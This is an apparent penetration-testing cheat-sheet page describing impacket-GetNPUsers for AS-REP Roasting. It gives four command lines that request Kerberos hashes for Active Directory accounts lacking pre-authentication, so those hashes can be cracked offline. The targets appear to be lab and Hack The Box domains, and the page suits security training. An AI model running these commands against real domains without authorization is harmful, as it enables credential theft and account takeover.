ToolsFebruary 9, 20261 min readby 0xt0pus

impacket-GetNPUsers

AS-REP Roasting tool to extract hashes for accounts with Kerberos pre-auth disabled

#active-directory#windows#impacket#kerberos

Impacket-GetNPUsers

Description

Impacket-GetNPUsers is used for AS-REP Roasting attacks. It finds users that do not require Kerberos pre-authentication and requests their AS-REP hash, which can then be cracked offline.

Usage 1: AS-REP Roasting (Single User)

Command:

impacket-GetNPUsers -dc-ip 192.168.187.70 corp.com/pete

Usage 2: AS-REP Roasting with Output File

Command:

impacket-GetNPUsers -dc-ip 192.168.50.70 -request -outputfile hashes.asreproast corp.com/pete

Usage 3: AS-REP Roasting from User List

Command:

impacket-GetNPUsers -no-pass -usersfile users.txt htb.local/

Usage 4: Using GetNPUsers.py (Python script variant)

Command:

GetNPUsers.py egotistical-bank.local/fSmith -request -no-pass -dc-ip 10.10.10.175